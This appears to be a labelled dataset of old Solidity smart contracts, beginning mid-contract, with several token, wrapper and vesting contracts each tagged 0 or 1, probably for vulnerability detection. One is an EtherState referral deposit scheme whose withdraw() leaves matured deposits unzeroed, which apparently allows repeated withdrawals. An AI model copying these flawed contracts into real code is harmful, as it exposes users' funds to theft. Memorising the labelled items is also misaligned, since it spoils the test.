depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) { totalSupply = totalSupply.add(_amount); Package memory pac; pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage}); Mint(_to, _amount); Transfer(address(0), _to, _amount); userPackages[_to] = pac; return true; } function depositBalanceOf(address _owner) public view returns (uint256 balance) { return userPackages[_owner].tokenValue; } function getKindOfPackage(address _owner) public view returns (uint256) { return userPackages[_owner].kindOf; } } contract ColdWalletToken is PackageContract { address internal coldWalletAddress; uint internal percentageCW = 30; event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress); event CWPercentageChanged(uint previousPCW, uint newPCW); function setColdWalletAddress(address _newCWAddress) onlyOwner public { require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0)); CWStorageTransferred(coldWalletAddress, _newCWAddress); coldWalletAddress = _newCWAddress; } function getColdWalletAddress() onlyOwner public view returns (address) { return coldWalletAddress; } function setPercentageCW(uint _newPCW) onlyOwner public { require(_newPCW != percentageCW && _newPCW < 100); CWPercentageChanged(percentageCW, _newPCW); percentageCW = _newPCW; } function getPercentageCW() onlyOwner public view returns (uint) { return percentageCW; } function saveToCW() onlyOwner public { coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100)); } } contract StatusContract is Ownable { mapping(uint => mapping(string => uint[])) internal statusRewardsMap; mapping(address => uint) internal statuses; event StatusChanged(address participant, uint newStatus); function StatusContract() public { statusRewardsMap[1]['deposit'] = [3, 2, 1]; statusRewardsMap[1]['refReward'] = [3, 1, 1]; statusRewardsMap[2]['deposit'] = [7, 3, 1]; statusRewardsMap[2]['refReward'] = [5, 3, 1]; statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1]; statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1]; statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1]; statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3]; statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3]; statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3]; } function getStatusOf(address participant) public view returns (uint) { return statuses[participant]; } function setStatus(address participant, uint8 status) public onlyOwner returns (bool) { return setStatusInternal(participant, status); } function setStatusInternal(address participant, uint8 status) internal returns (bool) { require(statuses[participant] != status && status > 0 && status <= 5); statuses[participant] = status; StatusChanged(participant, status); return true; } } contract ReferTreeContract is Ownable { mapping(address => address) public referTree; event TreeStructChanged(address sender, address parentSender); function checkTreeStructure(address sender, address parentSender) onlyOwner public { setTreeStructure(sender, parentSender); } function setTreeStructure(address sender, address parentSender) internal { require(referTree[sender] == 0x0); require(sender != parentSender); referTree[sender] = parentSender; TreeStructChanged(sender, parentSender); } } contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract { string public constant name = "EtherState"; string public constant symbol = "ETHS"; uint256 public constant decimals = 18; uint256 public totalSupply = 0; uint256 public constant hardCap = 10000000 * 1 ether; mapping(address => uint256) private lastPayoutAddress; uint private rate = 100; uint public constant depth = 5; event RateChanged(uint previousRate, uint newRate); event DataReceived(bytes data); event RefererAddressReceived(address referer); function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) { require(userPackages[_to].since == 0); _amount = _amount.mul(rate); if (depositMint(_to, _amount, _kindOfPackage)) { payToReferer(_to, _amount, 'deposit'); lastPayoutAddress[_to] = now; } } function rewardMint(address _to, uint256 _amount) private returns (bool) { rewardBalances[_to] = rewardBalances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function payToReferer(address sender, uint256 _amount, string _key) private { address currentReferral = sender; uint currentStatus = 0; uint256 refValue = 0; for (uint level = 0; level < depth; ++level) { currentReferral = referTree[currentReferral]; if (currentReferral == 0x0) { break; } currentStatus = statuses[currentReferral]; if (currentStatus < 3 && level >= 3) { continue; } refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100); rewardMint(currentReferral, refValue); } } function AddressDailyReward(address rewarded) public { require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0); uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days); uint256 refValue = 0; if (userPackages[rewarded].kindOf != 0) { refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100); rewardMint(rewarded, refValue); payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward'); } if (n > 0) { lastPayoutAddress[rewarded] = now; } } function() external payable { require(totalSupply < hardCap); coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100)); bytes memory data = bytes(msg.data); DataReceived(data); address referer = getRefererAddress(data); RefererAddressReceived(referer); setTreeStructure(msg.sender, referer); setStatusInternal(msg.sender, 1); uint8 kind = getReferralPackageKind(data); depositMintAndPay(msg.sender, msg.value, kind); } function getRefererAddress(bytes data) private pure returns (address) { if (data.length == 1 || data.length == 0) { return address(0); } uint256 referer_address; uint256 factor = 1; for (uint i = 20; i > 0; i--) { referer_address += uint8(data[i - 1]) * factor; factor = factor * 256; } return address(referer_address); } function getReferralPackageKind(bytes data) private pure returns (uint8) { if (data.length == 0) { return 4; } if (data.length == 1) { return uint8(data[0]); } return uint8(data[20]); } function withdraw() public { require(userPackages[msg.sender].tokenValue != 0); uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate); uint256 dateDiff = now - userPackages[msg.sender].since; if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) { uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100); withdrawValue = withdrawValue.sub(fee); coldWalletAddress.transfer(fee); userPackages[msg.sender].tokenValue = 0; } msg.sender.transfer(withdrawValue); } function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public { depositMintSince(sender, _value, d, since); } function createDeposit(address sender, uint256 _value, uint d) onlyOwner public { depositMintAndPay(sender, _value, d); } function setRate(uint _newRate) onlyOwner public { require(_newRate != rate && _newRate > 0); RateChanged(rate, _newRate); rate = _newRate; } function getRate() public view returns (uint) { return rate; } }
1
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20OldBasic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20Old is ERC20OldBasic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract WrapperLock is BasicToken, Ownable { using SafeMath for uint256; address public TRANSFER_PROXY; mapping (address => bool) private isSigner; bool public erc20old; string public name; string public symbol; uint public decimals; address public originalToken; mapping (address => uint256) public depositLock; mapping (address => uint256) public balances; function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy, bool _erc20old) Ownable() { originalToken = _originalToken; TRANSFER_PROXY = _transferProxy; name = _name; symbol = _symbol; decimals = _decimals; isSigner[msg.sender] = true; erc20old = _erc20old; } function deposit(uint _value, uint _forTime) public returns (bool success) { require(_forTime >= 1); require(now + _forTime * 1 hours >= depositLock[msg.sender]); if (erc20old) { ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value); } else { require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value)); } balances[msg.sender] = balances[msg.sender].add(_value); totalSupply_ = totalSupply_.add(_value); depositLock[msg.sender] = now + _forTime * 1 hours; return true; } function withdraw( uint8 v, bytes32 r, bytes32 s, uint _value, uint signatureValidUntilBlock ) public returns (bool success) { require(balanceOf(msg.sender) >= _value); if (now <= depositLock[msg.sender]) { require(block.number < signatureValidUntilBlock); require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s)); } balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); if (erc20old) { ERC20Old(originalToken).transfer(msg.sender, _value); } else { require(ERC20(originalToken).transfer(msg.sender, _value)); } return true; } function withdrawBalanceDifference() public onlyOwner returns (bool success) { require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0); if (erc20old) { ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)); } else { require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_))); } return true; } function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) { require(_differentToken != originalToken); require(ERC20(_differentToken).balanceOf(address(this)) > 0); if (_erc20old) { ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))); } else { require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)))); } return true; } function transfer(address _to, uint256 _value) public returns (bool) { return false; } function transferFrom(address _from, address _to, uint _value) public { assert(msg.sender == TRANSFER_PROXY); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); Transfer(_from, _to, _value); } function allowance(address _owner, address _spender) public constant returns (uint) { if (_spender == TRANSFER_PROXY) { return 2**256 - 1; } } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function isValidSignature( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) public constant returns (bool) { return isSigner[ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s )]; } function addSigner(address _newSigner) public { require(isSigner[msg.sender]); isSigner[_newSigner] = true; } function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) { return keccak256(_sender, _wrapper, _validTill); } }
0
pragma solidity ^0.4.14; contract IOwned { function owner() public constant { owner; } function transferOwnership(address _newOwner) public; function acceptOwnership() public; } contract IERC20Token { function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract IToken is IOwned, IERC20Token { function disableTransfers(bool _disable) public; function issue(address _to, uint256 _amount) public; function destroy(address _from, uint256 _amount) public; } contract Owned is IOwned { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); function Owned() { owner = msg.sender; } modifier ownerOnly { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } } contract Utils { function Utils() { } modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract ERC20Token is IERC20Token, Utils { string public standard = "Token 0.1"; string public name = ""; string public symbol = ""; uint8 public decimals = 0; uint256 public totalSupply = 0; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function ERC20Token(string _name, string _symbol, uint8 _decimals) { require(bytes(_name).length > 0 && bytes(_symbol).length > 0); name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) { balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) { allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract PAIReceipt is IToken, Owned, ERC20Token { string public version = "0.1"; bool public transfersEnabled = true; event NewPAIReceipt(address _token); event Issuance(uint256 _amount); event Destruction(uint256 _amount); function PAIReceipt() ERC20Token("Phantom AI Token Receipt", "PAIR", 18) { NewPAIReceipt(address(this)); } modifier transfersAllowed { assert(transfersEnabled); _; } function disableTransfers(bool _disable) public ownerOnly { transfersEnabled = !_disable; } function issue(address _to, uint256 _amount) public ownerOnly validAddress(_to) notThis(_to) { totalSupply = safeAdd(totalSupply, _amount); balanceOf[_to] = safeAdd(balanceOf[_to], _amount); Issuance(_amount); Transfer(this, _to, _amount); } function destroy(address _from, uint256 _amount) public { require(msg.sender == _from || msg.sender == owner); balanceOf[_from] = safeSub(balanceOf[_from], _amount); totalSupply = safeSub(totalSupply, _amount); Transfer(_from, this, _amount); Destruction(_amount); } function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transfer(_to, _value)); return true; } function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) { assert(super.transferFrom(_from, _to, _value)); return true; } } contract ReceiptIssuer is Owned { bool public isFinalized = false; bool public isDistributed = false; PAIReceipt public pair; uint256 public startTime = 1508554800; uint256 public endTime = 1512097200; address public fundingRecipient; event TokensIssued(address indexed _to, uint256 _amount); function ReceiptIssuer(address _token, address _fundingRecipient) { require(_token != address(0)); require(_fundingRecipient != address(0)); pair = PAIReceipt(_token); fundingRecipient = _fundingRecipient; } function finalize() external ownerOnly { if (isFinalized) { revert(); } pair.disableTransfers(false); isFinalized = true; } function issueReceipts(address _recipient, uint256 _amount) public ownerOnly { pair.issue(_recipient, _amount); TokensIssued(_recipient, _amount); } function transferPAIReceiptOwnership(address _newOwnerCandidate) external ownerOnly { pair.transferOwnership(_newOwnerCandidate); } function acceptPAIReceiptOwnership() external ownerOnly { pair.acceptOwnership(); } }
0
pragma solidity ^0.4.0; library ECVerifyLib { function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function ecverify(bytes32 hash, bytes sig, address signer) returns (bool) { bool ret; address addr; (ret, addr) = ecrecovery(hash, sig); return ret == true && addr == signer; } } contract IndividualityTokenInterface { event Mint(address indexed _owner, bytes32 _tokenID); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function allowance(address _owner, address _spender) constant returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function transfer(address _to) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function approve(address _spender) public returns (bool success); function isTokenOwner(address _owner) constant returns (bool); function ownerOf(bytes32 _tokenID) constant returns (address owner); function tokenId(address _owner) constant returns (bytes32 tokenID); } contract IndividualityTokenRootInterface is IndividualityTokenInterface { function upgrade() public returns (bool success); function proxyUpgrade(address _owner, address _newOwner, bytes signature) public returns (bool); function upgradeCount() constant returns (uint256 amount); function isTokenUpgraded(bytes32 _tokenID) constant returns (bool isUpgraded); } library TokenEventLib { event Transfer(address indexed _from, address indexed _to, bytes32 indexed _tokenID); event Approval(address indexed _owner, address indexed _spender, bytes32 indexed _tokenID); function _Transfer(address _from, address _to, bytes32 _tokenID) public { Transfer(_from, _to, _tokenID); } function _Approval(address _owner, address _spender, bytes32 _tokenID) public { Approval(_owner, _spender, _tokenID); } } contract TokenInterface { event Mint(address indexed _to, bytes32 _id); event Destroy(bytes32 _id); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event MinterAdded(address who); event MinterRemoved(address who); function mint(address _to, string _identity) returns (bool success); function destroy(bytes32 _id) returns (bool success); function addMinter(address who) returns (bool); function removeMinter(address who) returns (bool); function totalSupply() returns (uint supply); function transfer(address _to, uint256 _value) returns (bool success); function transfer(address _to, bytes32 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, bytes32 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function approve(address _spender, bytes32 _value) returns (bool success); function balanceOf(address _owner) constant returns (uint256 balance); function allowance(address _owner, address _spender) constant returns (uint256 remaining); function isTokenOwner(address _owner) constant returns (bool); function identityOf(bytes32 _id) constant returns (string identity); function ownerOf(bytes32 _id) constant returns (address owner); } contract IndividualityTokenRoot is IndividualityTokenRootInterface { TokenInterface public devcon2Token; function IndividualityTokenRoot(address _devcon2Token) { devcon2Token = TokenInterface(_devcon2Token); } mapping (address => bytes32) ownerToToken; mapping (bytes32 => address) tokenToOwner; mapping (address => mapping (address => bytes32)) approvals; uint _upgradeCount; function isEligibleForUpgrade(address _owner) internal returns (bool) { if (ownerToToken[_owner] != 0x0) { return false; } else if (!devcon2Token.isTokenOwner(_owner)) { return false; } else if (isTokenUpgraded(bytes32(devcon2Token.balanceOf(_owner)))) { return false; } else { return true; } } modifier silentUpgrade { if (isEligibleForUpgrade(msg.sender)) { upgrade(); } _; } function totalSupply() constant returns (uint256) { return devcon2Token.totalSupply(); } function balanceOf(address _owner) constant returns (uint256 balance) { if (_owner == 0x0) { return 0; } else if (ownerToToken[_owner] == 0x0) { if (devcon2Token.isTokenOwner(_owner)) { var tokenID = bytes32(devcon2Token.balanceOf(_owner)); if (tokenToOwner[tokenID] == 0x0) { return 1; } } return 0; } else { return 1; } } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { var approvedTokenID = approvals[_owner][_spender]; if (approvedTokenID == 0x0) { return 0; } else if (_owner == 0x0 || _spender == 0x0) { return 0; } else if (tokenToOwner[approvedTokenID] == _owner) { return 1; } else { return 0; } } function transfer(address _to, uint256 _value) public silentUpgrade returns (bool success) { if (_value != 1) { return false; } else if (_to == 0x0) { return false; } else if (ownerToToken[msg.sender] == 0x0) { return false; } else if (ownerToToken[_to] != 0x0) { return false; } else if (isEligibleForUpgrade(_to)) { return false; } var tokenID = ownerToToken[msg.sender]; ownerToToken[msg.sender] = 0x0; ownerToToken[_to] = tokenID; tokenToOwner[tokenID] = _to; Transfer(msg.sender, _to, 1); TokenEventLib._Transfer(msg.sender, _to, tokenID); return true; } function transfer(address _to) public returns (bool success) { return transfer(_to, 1); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { if (_value != 1) { return false; } else if (_to == 0x0) { return false; } else if (ownerToToken[_from] == 0x0) { return false; } else if (ownerToToken[_to] != 0x0) { return false; } else if (approvals[_from][msg.sender] != ownerToToken[_from]) { return false; } else if (isEligibleForUpgrade(_to)) { return false; } var tokenID = ownerToToken[_from]; approvals[_from][msg.sender] = 0x0; ownerToToken[_from] = 0x0; ownerToToken[_to] = tokenID; tokenToOwner[tokenID] = _to; Transfer(_from, _to, 1); TokenEventLib._Transfer(_from, _to, tokenID); return true; } function transferFrom(address _from, address _to) public returns (bool success) { return transferFrom(_from, _to, 1); } function approve(address _spender, uint256 _value) public silentUpgrade returns (bool success) { if (_value != 1) { return false; } else if (_spender == 0x0) { return false; } else if (ownerToToken[msg.sender] == 0x0) { return false; } var tokenID = ownerToToken[msg.sender]; approvals[msg.sender][_spender] = tokenID; Approval(msg.sender, _spender, 1); TokenEventLib._Approval(msg.sender, _spender, tokenID); return true; } function approve(address _spender) public returns (bool success) { return approve(_spender, 1); } function isTokenOwner(address _owner) constant returns (bool) { if (_owner == 0x0) { return false; } else if (ownerToToken[_owner] == 0x0) { if (devcon2Token.isTokenOwner(_owner)) { var tokenID = bytes32(devcon2Token.balanceOf(_owner)); if (tokenToOwner[tokenID] == 0x0) { return true; } } return false; } else { return true; } } function ownerOf(bytes32 _tokenID) constant returns (address owner) { if (_tokenID == 0x0) { return 0x0; } else if (tokenToOwner[_tokenID] != 0x0) { return tokenToOwner[_tokenID]; } else { return devcon2Token.ownerOf(_tokenID); } } function tokenId(address _owner) constant returns (bytes32 tokenID) { if (_owner == 0x0) { return 0x0; } else if (ownerToToken[_owner] != 0x0) { return ownerToToken[_owner]; } else { tokenID = bytes32(devcon2Token.balanceOf(_owner)); if (tokenToOwner[tokenID] == 0x0) { return tokenID; } else { return 0x0; } } } function upgrade() public returns (bool success) { if (!devcon2Token.isTokenOwner(msg.sender)) { return false; } else if (ownerToToken[msg.sender] != 0x0) { return false; } var tokenID = bytes32(devcon2Token.balanceOf(msg.sender)); if (tokenID == 0x0) { return false; } else if (tokenToOwner[tokenID] != 0x0) { return false; } else if (devcon2Token.ownerOf(tokenID) != msg.sender) { return false; } ownerToToken[msg.sender] = tokenID; tokenToOwner[tokenID] = msg.sender; _upgradeCount += 1; Mint(msg.sender, tokenID); return true; } function proxyUpgrade(address _owner, address _newOwner, bytes signature) public returns (bool) { if (_owner == 0x0 || _newOwner == 0x0) { return false; } else if (!devcon2Token.isTokenOwner(_owner)) { return false; } bytes32 tokenID = bytes32(devcon2Token.balanceOf(_owner)); if (tokenID == 0x0) { return false; } else if (isTokenUpgraded(tokenID)) { return false; } else if (ownerToToken[_newOwner] != 0x0) { return false; } else if (_owner != _newOwner && isEligibleForUpgrade(_newOwner)) { return false; } bytes32 signatureHash = sha3(address(this), _owner, _newOwner); if (!ECVerifyLib.ecverify(signatureHash, signature, _owner)) { return false; } tokenToOwner[tokenID] = _newOwner; ownerToToken[_newOwner] = tokenID; _upgradeCount += 1; Mint(_newOwner, tokenID); return true; } function upgradeCount() constant returns (uint256 _amount) { return _upgradeCount; } function isTokenUpgraded(bytes32 _tokenID) constant returns (bool isUpgraded) { return (tokenToOwner[_tokenID] != 0x0); } } contract MainnetIndividualityTokenRoot is IndividualityTokenRoot(0x0a43edfe106d295e7c1e591a4b04b5598af9474c) { }
0
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BITVesting is Ownable { BITToken public token; uint256 public releaseDate; function BITVesting ( BITToken _token, address _beneficiary, uint256 _releaseDate ) public { token = _token; releaseDate = _releaseDate; owner = _beneficiary; } function claim ( address _recipient, bytes _data ) external onlyOwner returns (bool success) { require(_recipient != address(0)); require(block.timestamp > releaseDate); uint256 funds = token.balanceOf(this); require(token.transfer(_recipient, funds)); selfdestruct(msg.sender); return true; } function tokenFallback( address _from, uint _value, bytes _data ) external view { require(msg.sender == address(token)); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BITToken is MintableToken, PausableToken { event Vested(address indexed beneficiary, address indexed vestingContract, uint256 releaseDate, uint256 amount); event BITTransfer(address indexed _from, address indexed _to, uint256 _value, bytes32 data); uint256 public constant decimals = 18; string public constant name = "TempToken"; string public constant symbol = "TEMP"; function BITToken () public MintableToken() { } function transfer (address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transfer(_to, _value)) { emit BITTransfer(msg.sender, _to, _value, _data); return true; } } function transferFrom (address _from, address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transferFrom(_from, _to, _value)) { emit BITTransfer(_from, _to, _value, _data); return true; } } function vest( address _beneficiary, uint256 _releaseDate, uint256 _amount ) public onlyOwner canMint returns (address) { address vestingContract = new BITVesting( this, _beneficiary, _releaseDate ); assert (vestingContract != 0x0); require(mint(vestingContract, _amount)); emit Vested(_beneficiary, address(vestingContract), _releaseDate, _amount); return vestingContract; } }
1
